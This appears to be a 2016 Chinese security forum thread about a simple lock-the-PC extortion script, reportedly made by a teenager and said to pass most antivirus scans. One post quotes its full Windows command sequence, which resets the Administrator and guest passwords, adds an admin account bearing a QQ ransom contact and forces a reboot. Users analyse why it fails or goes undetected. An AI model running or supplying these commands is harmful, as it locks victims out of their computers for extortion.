过了大部分杀软扫描

popu111

阿里小白帽 发表于 2016-8-29 16:04
15岁的初中生作品

15岁差不多该上高中了吧。。。

阿里小白帽

popu111 发表于 2016-8-30 07:25
15岁差不多该上高中了吧。。。

是个初中生

阿里小白帽

我要打十個 发表于 2016-8-29 15:39
简单几行命令而已，没多大意义

东西是很简单的  这玩意也是好几个被锁机的用户发我的  所以说 有主防很重要 不然连简单的东西都可能锁机子敲诈 对于小白而言 什么叫PE都可能不知道

原以为是杀软的锅，然后禁用了hips，实际测试。弹出一堆拒绝访问，开机完好无损。
然后看了看代码
net user Administrator 0987654321
net user guest 0987654321
net user 解锁联系qq:1263927628 0987654321 /add
net localgroup administrators 解锁联系qq:1263927628 /add
shutdown -f -r -t 0


Are you kidding me？不禁admin账号，怪杀软咯？guest权限不禁用修改密码，怪杀软咯？
提权动作都没有，uac也不会触发。话说这根本不算病毒吧，扫描不出来很正常。卡巴如果这个都报了的话，你让有提权动作的程序怎么活？

msn101

win10微软账户的路过，表示没什么卵用
话说给Administrator、guest加密码的命令貌似无效啊
而且‘解锁联系qq:1263927628’这个账户添加失败，原因应该是名字过长，我猜的

msn101

68221281 发表于 2016-8-30 08:47
原以为是杀软的锅，然后禁用了hips，实际测试。弹出一堆拒绝访问，开机完好无损。
然后看了看代码
net us ...

难道你没发现 net user 解锁联系qq:1263927628 0987654321 /add  这个命令失败了吗

msn101 发表于 2016-8-30 08:49
难道你没发现 net user 解锁联系qq:1263927628 0987654321 /add  这个命令失败了吗

第一个就拒绝了，那个命令行成功了也没用。

msn101

68221281 发表于 2016-8-30 08:52
第一个就拒绝了，那个命令行成功了也没用。

我的显示成功但是没任何变化。。。我还特意用管理员权限运行的

msn101 发表于 2016-8-30 08:54
我的显示成功但是没任何变化。。。我还特意用管理员权限运行的

合法地改密码、创建账户是会触发UAC的，除非你豪放的裸奔admin，否则这个根本不算病毒。

dsb2466

恰克 发表于 2016-8-29 19:52
挺失望的！我之前总是觉得，金山不比360防御差！至少开发板（论坛版）不会比360差。。。

开机防御要等一会儿呢